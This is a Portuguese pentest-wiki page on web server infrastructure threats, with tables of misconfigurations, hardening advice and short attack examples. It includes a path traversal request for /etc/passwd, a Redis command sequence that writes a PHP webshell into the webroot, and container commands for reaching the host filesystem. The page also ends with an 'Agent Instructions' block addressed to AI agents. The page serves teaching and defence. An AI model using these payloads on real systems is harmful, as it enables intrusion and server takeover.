# Server Side (Infraestrutura Web)

**Infraestrutura web** (*Server side web*) é o conjunto de componentes que sustentam uma aplicação na internet — tudo que fica "por trás" do código, responsável por receber requisições, processar, armazenar e entregar respostas.

```
Usuário → Internet → Servidor Web → Aplicação → Banco de Dados
                      (Nginx,       (PHP,      (MySQL,
                       Apache,       Python,    PostgreSQL,
                       IIS)          Node.js)   etc.)
```

#### Componentes principais da infraestrutura web

| Componente                   | Função                                            | Exemplos                                        |
| ---------------------------- | ------------------------------------------------- | ----------------------------------------------- |
| **Servidor Web**             | Recebe requisições HTTP, serve arquivos estáticos | Nginx, Apache, IIS                              |
| **Servidor de Aplicação**    | Executa o código da aplicação                     | Tomcat (Java), Gunicorn (Python), PM2 (Node.js) |
| **Banco de Dados**           | Armazena e gerencia dados                         | MySQL, PostgreSQL, MongoDB, Redis               |
| **Cache**                    | Acelera respostas                                 | Memcached, Redis, Varnish                       |
| **Proxy / Load Balancer**    | Distribui tráfego, esconde origem                 | HAProxy, Nginx, Cloudflare                      |
| **Sistema Operacional**      | Base onde tudo roda                               | Linux (Ubuntu, CentOS), Windows Server          |
| **Container / Orquestração** | Isolamento e escalabilidade                       | Docker, Kubernetes, LXC                         |

> *"Infraestrutura é o palco. A aplicação é a peça. Sem palco, não há espetáculo."*

***

### ⚠️ Por que infraestrutura é um alvo crítico?

Falhas na infraestrutura afetam **todas as aplicações** hospedadas nela.

| Impacto                             | Descrição                                  |
| ----------------------------------- | ------------------------------------------ |
| 🔴 **Comprometimento total**        | Atacante toma controle do servidor         |
| 🔴 **Acesso a todas as aplicações** | Uma falha expõe tudo                       |
| 🔴 **Dados sensíveis**              | Arquivos de configuração, logs, backups    |
| 🔴 **Ponto de persistência**        | Atacante pode se manter no ambiente        |
| 🔴 **Ataque em cascata**            | Servidor comprometido ataca a rede interna |

> *"Invadir a infraestrutura é roubar a chave do cofre que guarda todos os outros cofres."*

***

### 📋 Principais Ameaças a Infraestrutura Web

#### 🔧 Configuração e Hardening

| Problema                              | Descrição                                                |
| ------------------------------------- | -------------------------------------------------------- |
| **Configuração padrão**               | Senhas padrão, serviços desnecessários ativos            |
| **Debug/desenvolvimento em produção** | Stack traces expostos, endpoints de teste                |
| **Headers inseguros**                 | Falta de HSTS, CSP, X-Frame-Options                      |
| **TLS/SSL fraco**                     | Versões antigas (SSLv3, TLS 1.0), certificados expirados |
| **Permissões de arquivo incorretas**  | Arquivos de configuração legíveis por qualquer usuário   |

#### 🌐 Servidor Web (Nginx, Apache, IIS)

| Problema                        | Descrição                                              |
| ------------------------------- | ------------------------------------------------------ |
| **Directory listing ativo**     | Listagem de diretórios exposta                         |
| **Arquivos sensíveis expostos** | `.git/`, `.env`, `backup.zip`, `config.php~`           |
| **Server version disclosure**   | Headers revelam versão exata do servidor               |
| **Path traversal**              | Acesso a arquivos fora do webroot (`../../etc/passwd`) |
| **MIME type sniffing**          | Arquivo malicioso executado como script                |

#### 💾 Banco de Dados

| Problema                         | Descrição                                       |
| -------------------------------- | ----------------------------------------------- |
| **Acesso remoto sem restrição**  | Banco exposto à internet sem firewall           |
| **Credenciais fracas ou padrão** | `root:root`, `admin:admin`                      |
| **Serviços desnecessários**      | Portas extras abertas (MongoDB, Redis sem auth) |
| **Backups expostos**             | Dumps de banco em diretórios públicos           |

#### 🐳 Containers e Orquestração

| Problema                       | Descrição                                      |
| ------------------------------ | ---------------------------------------------- |
| **Imagens vulneráveis**        | Base images desatualizadas com CVEs conhecidas |
| **Privilégios excessivos**     | Container rodando como root                    |
| **Docker socket exposto**      | Permite criar/executar containers arbitrários  |
| **Kubernetes mal configurado** | Dashboard exposto sem autenticação             |

#### ☁️ Proxy e Load Balancer

| Problema                         | Descrição                                         |
| -------------------------------- | ------------------------------------------------- |
| **Host header injection**        | Cache poisoning, bypass de regras                 |
| **HTTP smuggling**               | Contrabando de requisições entre proxy e back-end |
| **Headers de origem confiáveis** | `X-Forwarded-For`, `X-Real-IP` forjáveis          |

***

### 🎯 Exemplos Rápidos

#### Exemplo 1 – Directory Listing

```http
GET /backup/

# Resposta (Directory Listing ativo)
Index of /backup/
[DIR] 2025-01-01 12:00  db_backup.sql
[DIR] 2025-01-02 13:00  config_old.zip
```

> Arquivo `db_backup.sql` exposto → atacante baixa o banco de dados inteiro.

#### Exemplo 2 – Path Traversal

```http
GET /download?file=../../../../etc/passwd

# Resposta (se servidor vulnerável)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

> Atacante lê arquivos sensíveis do sistema operacional.

#### Exemplo 3 – Redis sem Autenticação

```bash
# Redis rodando na porta 6379 sem senha
redis-cli -h alvo.com

# Comandos maliciosos
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
```

> Atacante escreve um webshell no servidor web.

#### Exemplo 4 – Server Version Disclosure

```http
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix) OpenSSL/1.1.1k
X-Powered-By: PHP/7.4.33
```

> Atacante sabe versões exatas e pode buscar exploits específicos (ex: Apache 2.4.49 → CVE-2021-41773).

#### Exemplo 5 – Container como Root

```bash
# Atacante invade container
id
# uid=0(root) gid=0(root) groups=0(root)

# Agora pode:
mount /dev/sda1 /mnt   # Acessar sistema de arquivos do host
cat /proc/1/environ    # Ver variáveis de ambiente do host
```

***

### 🛡️ Recomendações Gerais

| Componente              | Recomendação                                                                               |
| ----------------------- | ------------------------------------------------------------------------------------------ |
| **Servidor Web**        | Desabilitar directory listing, remover headers de versão, configurar segurança de arquivos |
| **Sistema Operacional** | Hardening, atualizações regulares, firewall, desabilitar serviços desnecessários           |
| **Banco de Dados**      | Restringir acesso remoto, usar senhas fortes, autenticação habilitada                      |
| **Containers**          | Imagens atualizadas, rodar como não-root, scan de vulnerabilidades                         |
| **Proxy/LB**            | Configurar rate limiting, validar headers, proteger contra HTTP smuggling                  |
| **Backups**             | Armazenar fora do webroot, criptografar, controlar acesso                                  |
| **Logs**                | Monitorar acessos suspeitos, armazenar centralizadamente                                   |
| **TLS**                 | Versão 1.2+ (evitar 1.0/1.1), ciphers fortes, HSTS                                         |

#### Comandos úteis para hardening (Linux)

```bash
# Verificar portas abertas
ss -tuln

# Verificar serviços rodando
systemctl list-units --type=service

# Buscar arquivos com permissões sensíveis
find / -name "*.conf" -perm 644 -ls

# Verificar versões de serviços
nginx -v
apache2 -v
mysql --version
```

***

### 🔗 Links Úteis

* [CIS Benchmarks – Hardening padrões](https://www.cisecurity.org/cis-benchmarks/)
* [OWASP – Infrastructure Security](https://owasp.org/www-community/Infrastructure_Security)
* [NIST – Secure Server Configuration](https://csrc.nist.gov/publications/detail/sp/800-123/final)
* [Mozilla SSL Configuration Generator](https://ssl-config.mozilla.org/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/server-side-infraestrutura-web.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
